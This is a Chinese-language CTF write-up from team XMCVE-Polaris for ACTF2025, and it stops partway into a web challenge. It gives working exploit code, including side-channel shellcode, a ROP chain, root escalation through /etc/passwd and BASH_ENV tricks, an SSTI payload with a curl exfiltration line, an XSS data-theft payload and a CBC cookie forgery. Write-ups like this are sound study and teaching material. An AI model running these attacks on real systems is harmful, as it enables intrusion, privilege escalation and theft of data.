本次 ACTF2025,我们XMCVE-Polaris战队排名第6。

排名 队伍 总分
1 N0wayBack 10501.28
2 N1STAR 7732
3 Spirit+ 7557.83
4 V&N 6581.63
5 Nepnep 6411.9
6 XMCVE-Polaris 6219
7 0RAYS 5980.67
8 Ph0t1n1a 5419.58
9 0psu3 5009.8
10 USTC-NEBULA 4943.4

PWN

AFL sandbox

  • sandbox写shellcode,伪造orw shellcode但fuzz没有输出,考虑测信道爆破flag,测试fuzz检测程序在循环时会提示timeout,否则崩溃退出,利用这个输出写测信道爆破脚本拿到flag,程序逻辑:
int __cdecl setup()
{
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int err; // [rsp+8h] [rbp-18h]
  int erra; // [rsp+8h] [rbp-18h]
  int errb; // [rsp+8h] [rbp-18h]
  int fd; // [rsp+Ch] [rbp-14h]
  scmp_filter_ctx ctx; // [rsp+18h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  err = setvbuf(stderr, 0LL, 2, 0LL);
  if ( err < 0 )
    return err;
  fd = open("/tmp/shellcode.bin", 0);
  if ( fd < 0 )
    return fd;
  shellcode_addr = mmap((void *)0x10000, 0x1000uLL, 5, 18, fd, 0LL);
  if ( shellcode_addr == (void *)-1LL )
    return -1;
  if ( mmap((void *)0x20000, 0x1000uLL, 3, 50, -1, 0LL) == (void *)-1LL )
    return -1;
  ctx = (scmp_filter_ctx)seccomp_init(0LL);
  if ( !ctx )
    return -1;
  for ( i = 0; i <= 6; ++i )
  {
    erra = seccomp_rule_add(ctx, 0x7FFF0000LL, (unsigned int)allowed_0[i], 0LL);
    if ( erra < 0 )
      return erra;
  }
  errb = seccomp_load(ctx);
  if ( errb < 0 )
    return errb;
  seccomp_release(ctx);
  return 0;
}

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  if ( setup() )
    exit(-1);
  ((void (__fastcall *)(_QWORD, const char **, const char **))shellcode_addr)((unsigned int)argc, argv, envp);
  exit(0);
}
  • 测试靶机flag路径shellcode,出现timout表示路径正确
def  test(pos,char):
    shellcode=asm(shellcraft.open('/home/ctf/flag')
    shellcode+=asm('''
    		.L1:
            cmp rax,4
            jz .L1
            ''')

    return shellcode    

通过工作量证明之后即可进行shellcode填写。

Exp


from pwn import *
import hashlib
from itertools import *
from string import *
context.log_level = 'debug'
DIFFICULTY_POW = 12
context.arch='amd64'
def nc(data):
    if ':' in data:
        sym = ':'
    else:
        sym = ' '
    address = data.split(sym)[-2]
    port = int(data.split(sym)[-1].strip())
    print('地址:', address)
    print('端口:', port)
    sh = remote(address, port)
    return sh

def is_valid(digest):
    zeros = "0" * DIFFICULTY_POW
    bits = "".join(bin(i)[2:].zfill(8) for i in digest)
    return bits[:DIFFICULTY_POW] == zeros

# Proof of Work
def PoW(sh):
    LEN = len('solve this: sha256(')
    proof = sh.recvline_contains(b'solve this:')[LEN:LEN+8]
    print(proof)
    table = ascii_letters + digits  
    for i in product(table, repeat=4):
        ans = ''.join(i).encode()
        t = hashlib.sha256(proof + ans).digest()
        if is_valid(t):
            print(ans)
            return ans

def  orw(pos,char):
    addr=0x20000
    shellcode=asm(shellcraft.open('/home/ctf/flag')+shellcraft.read(4,addr,0x50))
    shellcode+=asm('''

            mov dl,[rsi+{}]
            cmp dl,{}
            jbe $

            '''.format(pos,char))

    return shellcode    

def pwn(pos,char):
    data = 'nc  61.147.171.105 58873'
    sh = nc(data)

    sh.sendline(PoW(sh))
    addr=0x20000


    hex_shellcode = orw(pos,char).hex()
    chunk_size = 32 

    sh.recvuntil("> \n")
    for i in range(0, len(hex_shellcode), chunk_size):
        chunk = hex_shellcode[i:i+chunk_size]
        sh.send(chunk)
    sh.send("\n")
    sh.recvuntil("> \n")
    sh.send("\n")
    sh.recvuntil("/tmp/shellcode.bin\n")
    try:
        a=sh.recv(timeout=50)
        print(a)
        if b"Timeout" not in a:
            sh.close()
            return False
        else:
            sh.close()
            return True
    except KeyboardInterrupt:
        exit(0)
i = 0
flag = ''

while True:
    l = 0x20
    r = 0x7f
    while l < r:
        m = (l + r) // 2
        if pwn(i, m):
            r = m
        else:
            l = m + 1
    flag += chr(l)
    log.info(flag)
    i += 1

only read

程序是一个没有泄漏的栈溢出。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  read(0, buf, 0x800uLL);
  return 0;
}

找到两处 gadget ,组合一下即可实现可控的函数调用。

第一处位于程序基地址

0x40111c: add    DWORD PTR [rbp-0x3d], ebx; nop; ret;

第二处位于libc地址,该地址可以由 0x40111c 地址对栈上的 main 函数的返回地址 __libc_start_main+139 进行两次偏移后稳定得到

0x323b3:
    mov     rsi, [rbp-0x98]
    mov     rdi, [rbp-0x90]
    xor     edx, edx
    mov     [rbp+0x18], eax
    mov     rax, [rbp-0x68]
    lea     rsp, [rbp-0x28]
    pop     rbx
    pop     r12
    pop     r13
    pop     r14
    pop     r15
    pop     rbp
    jmp     rax

脚本如下

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('1.95.126.42', 9999)
sh.recvuntil(b'-mb26 ')
resource=sh.recvn(len("pvryxuxir"))
token = subprocess.run(["hashcash", "-mb26", resource], capture_output=True, text=True).stdout.strip()
sh.recv()
sh.sendline(token.encode())
sh.recvuntil(b'challenge~\n')

sh.send(cyclic(128) + p64(0x404f00-0x18) + p64(0x401142))
time.sleep(1)
sh.send(cyclic(136) + p64(0x401050) + flat({24:p64(0x404e00), 16:p64(0), 64:p64(0x40111c), 128:p64(0xbcb7d), 168:p64(0x404ec5)}, length=0xb0,filler=b'\0') + p64(0x40115E) + p64(0x000000000040111d) + p64(0) + p64(0x000000000040111d) + p64(0x404e80) + p64(0x000000000040115d))
time.sleep(1)
sh.send(cyclic(128) + p64(0x404ec4) + p64(0x40111c) + p64(0x40111c) + p64(0x401136))
time.sleep(1)
sh.send(cyclic(128) + p64(0x404ec4) + p64(0x40115E) * 0x10 + p64(0x401136))
time.sleep(1)
sh.send(b'/bin/sh\0' + cyclic(120) + p64(0x404fa0) + p8(0xb3))
time.sleep(1)
sh.interactive()

arandom

正常检查权限发现,这里是可写的

所以当前目录下的所有文件都可以mv,那么直接把 etc 文件夹改名

新建一个 etc 文件夹,创建一个新 passwd 文件,直接 su 提权

mv /etc /111
mkdir /etc
echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd
su root

MISC

QQQRcode

先完成第一步验证工作量代码

from pwn import *
import hashlib
import itertools
import string
import re

io = remote('1.95.71.197', 9999)

def find_prefix(target_hash, suffix, length=4):
    charset = string.ascii_letters + string.digits + "!@#$%^&*()"
    for prefix_tuple in itertools.product(charset, repeat=length):
        prefix = ''.join(prefix_tuple)
        combined = prefix + suffix
        hash_result = hashlib.sha256(combined.encode()).hexdigest()
        if hash_result == target_hash:
            return prefix
    return None

response = io.recvuntil(b'\n')

match = re.search(r'\+([a-zA-Z0-9+/=]+)\)\s*==\s*([a-f0-9]+)', response.decode())

if match:
    part1 = match.group(1)
    part2 = match.group(2)
    print("哈希值:" + part1)
    print("后缀为:" + part2)

    prefix = find_prefix(part2, part1)
    if prefix:
        print(f"找到匹配的前缀:{prefix}")
    else:
        print("未找到匹配的前缀")

    response1 = io.recvuntil(b'XXXX:')

    io.sendline(prefix)

    next_response = io.recvline()
    print("答案为"+ next_response.decode())

io.interactive()

完成二维码生成函数,注意box_size和border的设置,方便之后矩阵的转化

def generate_three_qr_codes():
    filenames = []
    chars = ['Azure', 'Assassin', 'Alliance']
    for i, char in enumerate(chars):
        filename = f"qr_{char}.png"
        qr = qrcode.QRCode(
            version=1,
            error_correction=qrcode.constants.ERROR_CORRECT_L,
            box_size=1,
            border=0,
        )
        qr.add_data(char)
        qr.make(fit=True)
    
        img = qr.make_image(fill='black', back_color='white')

        img.save(filename)
        filenames.append(filename)
  
    return filenames

二维码转成二维矩阵

def read_qr_pixels_to_matrix(filename):

    img = Image.open(filename)
    img = img.convert('1')  
    pixels = np.array(img)
    binary_matrix = (pixels == 0).astype(int)  # 黑色为 0,白色为 1
    print("Decoded 21x21 Matrix from QR code:")
    for row in binary_matrix:
        print(row)  # 打印每一行
  
    return binary_matrix
  • front投影:从 z​ 轴方向查看三维矩阵,生成二维图像。

  • left投影:从 x​ 轴方向查看三维矩阵,生成二维图像。

  • top投影:从 y​ 轴方向查看三维矩阵,生成二维图像。

  • front投影对应字符 Azure​。

  • left投影对应字符 Assassin​。

  • top投影对应字符 Alliance​。

得到三个独立的二维码之后,我们使用将三个二维码分别作为新的“三维码”的前、左、顶三个面,并转化为字符串。虽然说这样不够严谨,0索引列的二维码点位会存在多点

的情况,但是经过本地测试是可以扫出来的,只能说二维码的包容性还是太好了。

# 将投影矩阵合并为一个 21x21x21 的三维矩阵
def create_3d_matrix(front, left, top):
    """
    将三个投影合并成一个 21x21x21 的三维矩阵。
    :param front: 从 `x` 和 `y` 轴的投影。
    :param left: 从 `x` 和 `z` 轴的投影。
    :param top: 从 `y` 和 `z` 轴的投影。
    :return: 21x21x21 的三维矩阵。
    """
    matrix = np.zeros((21, 21, 21), dtype=int)
  
    # 将 front 投影放入 `x` 和 `y` 层
    for x in range(21):
        for y in range(21):
            matrix[x][y][0] = front[x][y]  # 将 front 投影放入第一个 z 层
            # matrix[x][y][-1] = front[x][y]  # 将 front 投影放入第一个 z 层
  
    # 将 left 投影放入 `x` 和 `z` 层
    for x in range(21):
        for z in range(21):
            matrix[x][0][z] = left[x][z]
            # matrix[x][-1][z] = left[x][z]  # 将 left 投影放入第一个 y 层
  
    # 将 top 投影放入 `y` 和 `z` 层
    for y in range(21):
        for z in range(21):
            matrix[0][y][z] = top[y][z]
            # matrix[-1][y][z] = top[y][z]  # 将 top 投影放入第一个 x 层
  
    return matrix
  
def three_dim_matrix_to_binary(matrix):
    if matrix.ndim != 3:
        raise ValueError("输入必须是一个三维矩阵")
  
    # 将矩阵元素转换为 1 或 0,True -> 1, False -> 0
    binary_data = (matrix == 1).astype(int).flatten()
  
    # 将数字数组转换为二进制字符串
    binary_str = ''.join(map(str, binary_data))
  
    return binary_str

但是我们后来发现这样子满足不了答案1的个数小于390的要求,所以我们对原先的三维码进行一个修补:遍历所有非前、左、顶三个面的点,若其投影在前、左、顶三个面上的点都为1,则我们将三个点从三个面上合并到中心,这样就节省了大量点数,经测试通过了check,省到了346个点,

def create_3d_matrix(front, left, top):
    """
    将三个投影合并成一个 21x21x21 的三维矩阵。
    :param front: 从 `x` 和 `y` 轴的投影。
    :param left: 从 `x` 和 `z` 轴的投影。
    :param top: 从 `y` 和 `z` 轴的投影。
    :return: 21x21x21 的三维矩阵。
    """
    matrix = np.zeros((21, 21, 21), dtype=int)
  
    # 将 front 投影放入 `x` 和 `y` 层
    for x in range(21):
        for y in range(21):
            matrix[x][y][0] = front[x][y]  # 将 front 投影放入第一个 z 层
            # matrix[x][y][-1] = front[x][y]  # 将 front 投影放入第一个 z 层
  
    # 将 left 投影放入 `x` 和 `z` 层
    for x in range(21):
        for z in range(21):
            matrix[x][0][z] = left[x][z]
            # matrix[x][-1][z] = left[x][z]  # 将 left 投影放入第一个 y 层
  
    # 将 top 投影放入 `y` 和 `z` 层
    for y in range(21):
        for z in range(21):
            matrix[0][y][z] = top[y][z]
            # matrix[-1][y][z] = top[y][z]  # 将 top 投影放入第一个 x 层
  
    for x in range(1,21):
        for y in range(1,21):
            for z in range(1,21):
                if matrix[x][y][0] and matrix[x][0][z] and matrix[0][y][z]==1:
                    matrix[x][y][z]=1
                    matrix[x][y][0]=0
                    matrix[x][0][z]=0
                    matrix[0][y][z]=0
    return matrix

然后将这串字符串交给服务器即可得到flag,完整exp

from pwn import *
import hashlib
import itertools
import string
import re
import qrcode
import numpy as np
from PIL import Image

io = remote('1.95.71.197', 9999)

def find_prefix(target_hash, suffix, length=4):
    charset = string.ascii_letters + string.digits + "!@#$%^&*()"
    for prefix_tuple in itertools.product(charset, repeat=length):
        prefix = ''.join(prefix_tuple)
        combined = prefix + suffix
        hash_result = hashlib.sha256(combined.encode()).hexdigest()
        if hash_result == target_hash:
            return prefix
    return None

# 生成二维码并保存为 PNG 文件
def generate_three_qr_codes():
    filenames = []
    chars = ['Azure', 'Assassin', 'Alliance']
    for i, char in enumerate(chars):
        filename = f"qr_{char}.png"
        qr = qrcode.QRCode(
            version=1,
            error_correction=qrcode.constants.ERROR_CORRECT_L,
            box_size=1,
            border=0,
        )
        qr.add_data(char)
        qr.make(fit=True)
  
        img = qr.make_image(fill='black', back_color='white')
        img.save(filename)
        filenames.append(filename)
  
    return filenames

# 读取二维码图像并转换为 21x21 二进制矩阵
def read_qr_pixels_to_matrix(filename):
    img = Image.open(filename)
    img = img.convert('1')  # 转换为黑白(1位)图像
    pixels = np.array(img)
  
    # 黑色像素为 0,白色像素为 1
    binary_matrix = (pixels == 0).astype(int)
  
    return binary_matrix

# 将投影矩阵合并为一个 21x21x21 的三维矩阵
def create_3d_matrix(front, left, top):
    """
    将三个投影合并成一个 21x21x21 的三维矩阵。
    :param front: 从 `x` 和 `y` 轴的投影。
    :param left: 从 `x` 和 `z` 轴的投影。
    :param top: 从 `y` 和 `z` 轴的投影。
    :return: 21x21x21 的三维矩阵。
    """
    matrix = np.zeros((21, 21, 21), dtype=int)
  
    # 将 front 投影放入 `x` 和 `y` 层
    for x in range(21):
        for y in range(21):
            matrix[x][y][0] = front[x][y]  # 将 front 投影放入第一个 z 层
            # matrix[x][y][-1] = front[x][y]  # 将 front 投影放入第一个 z 层
  
    # 将 left 投影放入 `x` 和 `z` 层
    for x in range(21):
        for z in range(21):
            matrix[x][0][z] = left[x][z]
            # matrix[x][-1][z] = left[x][z]  # 将 left 投影放入第一个 y 层
  
    # 将 top 投影放入 `y` 和 `z` 层
    for y in range(21):
        for z in range(21):
            matrix[0][y][z] = top[y][z]
            # matrix[-1][y][z] = top[y][z]  # 将 top 投影放入第一个 x 层
  
    for x in range(1,21):
        for y in range(1,21):
            for z in range(1,21):
                if matrix[x][y][0] and matrix[x][0][z] and matrix[0][y][z]==1:
                    matrix[x][y][z]=1
                    matrix[x][y][0]=0
                    matrix[x][0][z]=0
                    matrix[0][y][z]=0
    return matrix

# 将三维矩阵转换为二进制字符串
def three_dim_matrix_to_binary(matrix):
    if matrix.ndim != 3:
        raise ValueError("输入必须是一个三维矩阵")
  
    # 将矩阵元素转换为 1 或 0,True -> 1, False -> 0
    binary_data = (matrix == 1).astype(int).flatten()
  
    # 将数字数组转换为二进制字符串
    binary_str = ''.join(map(str, binary_data))
  
    return binary_str

response = io.recvuntil(b'\n')

match = re.search(r'\+([a-zA-Z0-9+/=]+)\)\s*==\s*([a-f0-9]+)', response.decode())

if match:
    part1 = match.group(1)
    part2 = match.group(2)
    print("哈希值:" + part1)
    print("后缀为:" + part2)

    prefix = find_prefix(part2, part1)
    if prefix:
        print(f"找到匹配的前缀:{prefix}")
    else:
        print("未找到匹配的前缀")

    response1 = io.recvuntil(b'XXXX:')

    io.sendline(prefix)

    next_response = io.recvline()
    print("答案为"+ next_response.decode())

    filenames = generate_three_qr_codes()
  
    matrices = []
    for filename in filenames:
        matrix = read_qr_pixels_to_matrix(filename)
        matrices.append(matrix)
  
    three_dim_matrix = create_3d_matrix(matrices[1],matrices[2],matrices[0])
    result = three_dim_matrix_to_binary(three_dim_matrix).encode()
  
    response2 = io.recvuntil(b'data:')
    print(result)
    io.sendline(result)
    print(io.recvline())
    print(result.count(b"1"))

io.interactive()

经测试通过check的字符串

111111101111101111111100000000000001000001100000000000000000000100000000000001001001100000000000001000101100000000000000000001100000000000000010001000000000011100000000100000000000000000011000000010000000000000100000000000000011110000000010100000000010000000000000000001001000000000000000001111100001000100100000010100000000000000000010100000000010001100000100000100001000000000100000000101000100000100000000000011000000110111100110001100000100000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100000000000000000001000000000000000000000001000000000000000000000100000000000000000000010000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000010000000000000000000000100000000000000000001000000000000000000000000100000000000000000000100000000000000000100000000000000000000000000100000000000000000001000000000000000000000000100000000000000000000000000000000000000010000000000000000000000000000000000000000000000001000000000100000000000000000000000000000000001000000000000001000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000001000000000000000000000001000000000000000010000000000000000000000000100000000000000000000100000000000000000101000000000000000000000000010000000000000000000000100000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000001000000000000000000000000000000000010000000000000000000000000010000000000000000100000000000000000000000000000100000000000000000000000000000000000000000000000000001000000000100000000000000000000000000000000001000000000000000000000000000100000000000000000000100000000000001000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000100000000000000001000000000100000000000000000000001000000000000000010000000000000000000100000000000000000000000000000001000000010000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000010000000000000000000000000000000001000000000000000000000000000000100000000000000000000000000001000000000000000000010000000000000000000100000000000000000010000100000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000110000010000000101010000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000001000000000000000000000000000100000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000010000010010000101001000000000000000000000000000000000000010000000000001000000000000000000000000100000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000100000000000000000000000000000000000000000000000010000000000010100000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000100100000000000000000000010000000000000000000000000000000000000000000100000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000110000000000000010110000000000000000000000000000000000000001000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000001000000000000000000000100000000000000000100000000000000000000000000000000000000000100000010001000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100000000000000000000000000000000000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000001000000000000000000000010000000000000000000001000000000000000000100000000100000000000000000000000000000000000000000000000001000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000111000000000000000000000000000000100000000000000000000001000000000000000000000000100100000000000000000000000000001000000000000000001000000000000000000000000000000000000000000100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000011100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000100000000000000000000000000100000000000000000000000000100000000000000000000000000100000000000000000000000000001000000000000000000000000000000000000001000000000000000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000010000000100110101000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000100100001100100000000000000000000000000000100000000000000000000000000000000000010000100000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000100000001000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000100000000010010000000000000000000000000000000000000000000000100000000000001000000000000000000000000001000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000100000000000000000000000000000000000000001000000000000000000000000100000000000000000000001000000000000100000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000100000000000000000000000100000000000100000000000000000000000000000000000000000000000000000000000000111011100001010100000000000000010000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000001000000000000000000000000000000000

flag:ACTF{QQQRCode_is_iiint3r3st1ng}

Master of Movie

Easy_0

yandex搜到电影名为大都会 Metropolis,得到IMDb号tt0017136

9be7cc818a394e0ecdb4bceccd2d7e61

Easy_1

https://saucenao.com/ 网站上搜到该图片的来源

Nekojiru Gekijou Jirujiru Original - 16-18
TV Series (1999) - 27 Episodes

JPTitle: ねこぢる劇場 ぢるぢるORIGINAL
EPName: Festival Chapter
Est Time: 00:02:36 / 00:04:08

55c1033f-b478-4879-a2d6-57acb58477a6

得到IMDb号tt8893624

Easy_2

百度识图得到电影名股疯,得知IMDb号为tt0109946

a51a0f6a-8c8b-4389-9461-e47b7eeac619

Easy_3

谷歌识图得到电影名为The substance,IMDb号为tt17526714

93eff330aa830d1f72e8f836a30fb9a1

Easy_4

被看番的师傅发现了,得到番名碰之道,得到IMDb号tt31309480

2ed68b7e-ef4b-4a34-960e-8edf11c234f9

Easy_5

谷歌搜图得到电影名头号战队豪兽者,进而得到IMDb号tt34382036

ca2cef2d-9dbf-40db-93f1-d4723f630083

Easy_6

谷歌识图搜到高相似度图片

08a3a42c-3f4a-4c7e-bd37-19b817e2bccd

点击来源得知电影名为Hamilton,得到IMDb号tt8503618

e4268ce4-abac-49e1-b520-c07493e6d622

Easy_7

在yandex搜到电影名为the room

861804f5c35312ee888885d59c9db300

Easy_8

在yandex搜到电影名为Baraka,得到IMDb号为tt0103767

9aed26067825b843d276a6a0ae8ec78c

Easy_9

在yandex搜到电影名为pulp fiction,得到IMDb号为tt0110912

43b697a65181335419c5dee509dc5308

Hard_1

百度识图搜到电影名东邪西毒,得到IMDb号tt0109688

3954b444-0c9b-44b2-808d-674c6bc95dea

Hard_3

谷歌识图得到相似电影场景,得知是印度电影流浪者,查得英文名awaara,得到IMDb号tt0043306

ec8c45a7-418f-44dd-b0e3-5fa7045cfda4

Hard_4

必应识图看到高相似度动画角色

20398c6a-6356-449c-b1e1-3a17d3c81f10

得到电影名The Forgotten Children.(los niños olvidados),IMDb号tt5004766

最后对IMDd号进行汇总,并使用验证码脚本爆破,得到flag,IMDb汇总:

easy0:tt0017136 Metropolis

easy1:tt8893624 Nekojiru gekijô - jirujiru Original

easy2:tt0109946 股疯

easy3:tt17526714 the substance

easy4:tt31309480 碰之道 (ぽんのみち) Ep.04

easy5:tt34382036 头号战队豪兽者

easy6:tt8503618 HAMILTON Disney (2020)

easy7:tt0368226 the room

easy8: tt0103767 Baraka

easy9:tt0110912 pulp fiction

hard0:

hard1:tt0109688 东邪西毒

hard2:

hard3:tt0043306 流浪者

hard4:tt5004766 Psiconautas, los niños olvidados

验证码爆破脚本:

import hashlib
import itertools

# 固定后5位
suffix = 'gg1zp'

charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

def find_string():
    for prefix in itertools.product(charset, repeat=4):
        candidate = ''.join(prefix) + suffix
        sha256_hash = hashlib.sha256(candidate.encode()).hexdigest()
        if sha256_hash.startswith('6b5861'):
            print(f"Found: {candidate[:4]}")
            return candidate, sha256_hash
    print("Not found.")

if __name__ == '__main__':
    find_string()

d80a5815-1066-4750-8e59-a9ee2789fe4d

Flag: ACTF{IMDBMASTER_uw@tcHed@L0toFmoV1e|tt0118694}

Hard guess

1745724311708

附件给了一个html文件,里面有关于SSH用户名和密码的一些提示

经过猜测和尝试,得到SSH的用户名为:KatoMegumi,SSH的密码为:Megumi960923

image-20250427112448108

程序通过 bash -c 执行命令( system("bash -c \"echo 'Who are you?'\"""))可利用 BASH_ENV 环境变量加载恶意配置

echo 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell' > /tmp/exploit
export BASH_ENV=/tmp/exploit
./hello  # 输入 'n' 触发 bash -c
/tmp/root_shell -p  # 获取 root shell

2a278028974910305e4249d2909df4a9

成功拿到root,直接读取root目录下的flag即可

signin

题目给了一个Github仓库的链接:

签到:https://github.com/team-s2/ACTF-2025

我们直接访问,然后在项目的Commit历史记录中即可找到flag:ACTF{w3lc0ME2aCtf2O25h@veAn1ceDAY}

WEB

Excellent-Site

/admin 中存在SSTI模板注入,注入点 page_content 是从本地 http://ezmail.org 中获取的,可以利用 /news 中的SQL注入返回 SSTI payload ;

http://ezmail.org:3000/news?id=-1 UNION SELECT '{{lipsum.__globals__.os.popen("sleep 5").read()}}'

只有本地IP才能访问 /admin ,需要利用 /bot,bot 获取邮件主题作为请求url、响应内容为page_content值,因此只需 /report 发送主题为上面 SSTI payload的邮件,bot访问就可以实现SSTI;

/report 中发送邮件的发件人是 ignored@ezmail.org,而 get_subjects 方法中只接收来自 admin@ezmail.org 的邮件,所以还要通过邮件头注入修改发件人为 admin@ezmail.org

最终exp如下,curl外带flag;

import time
import requests


url = "http://223.112.5.141:60524/"

# SSTI Payload
payload = "{{lipsum.__globals__.os.popen(\"curl%20http://x.x.x.x:7788/`cat /flag|base64`\").read()}}"
# 邮件头注入
subject = f"http://ezmail.org:3000/news?id=-1 UNION SELECT '{payload}'\r\nFrom: admin@ezmail.org\r\nResent-From: admin@ezmail.org"

start = time.time()

data = {"url": subject, "content": "haha"}
res_1 = requests.post(f"{url}/report", data=data)
res_2 = requests.get(f"{url}/bot")

print(time.time() - start)

eznote

在 app.js 中,/note 用于创建笔记,通过 /note/:noteId 方式可访问笔记,/report 可让 bot 去访问指定 url ;

而在 bot.js 的 visit 函数中,bot 会将 flag 作为 title 创建 note、再访问 /report 指定的 url;

因此,只需获得 bot 创建 note 的 id ,就可以访问 /note/:noteId 获得flag,利用javascript伪协议,在 /report 中提交如下 url 参数,通过 xss 获得 bot 的 noteId ,进而获得 flag;

javascript:fetch('/notes').then(r=>r.text()).then(d=>{new Image().src='http://x.x.x.x:7788/?data='+encodeURIComponent(d)})

Not so web1

考察CBC字节反转攻击,先在/register注册一个username='bdmin',password='123'

拿到cookie,也就是(CBC的密文)。

本地测试发现这个时候密文对应的明文是形如这样的,b'{"name": "bdmin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r',register_time会不一样。

这个时候更改IV,使得解密结果为b'{"name": "admin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'即可

import base64
from Crypto.Util.number import *
import requests

url = "http://61.147.171.105:50017"
data = {"username": "bdmin", "password": "123"}
session = requests.session()
r = session.post(url + "/login", data=data)
token = base64.b64decode(session.cookies.get_dict()['jwbcookie'].strip())
iv = token[:16]
cipher = token[16:]
plaintext = b'{"name": "bdmin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'
# target = b'{"name": "admin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'
tmp = iv[10] ^ ord('b') ^ ord('a')
newIV = iv[:10] + long_to_bytes(tmp) + iv[11:]
newtoken = newIV + cipher
header = {"Cookie": b"jwbcookie=" + base64.b64encode(newtoken)}
r = session.get(url + "/home", headers=header, allow_redirects=False)
if r.status_code != 302:
    print(r.status_code)
    print(f"cookie: {base64.b64encode(newtoken)}")

伪造cookie得到admin权限。

然后SSTI拿flag就行

ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4bl3_C00Kie}

Not so web2

这题把签名换成了PKCS#1_v1.5,注意到关键函数:

def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
    if not cookie_b64:
        return False, ""

    try:
        cookie = base64.b64decode(cookie_b64, validate=True).decode()
    except binascii.Error:
        return False, ""

    try:
        msg_str, sig_hex = cookie.split("&")
    except Exception:
        return False, ""

    msg_dict = json.loads(msg_str)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = bytes.fromhex(sig_hex)
    try:
        PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
        valid = True
    except (ValueError, TypeError):
        valid = False
    return valid, msg_dict.get("user_name")

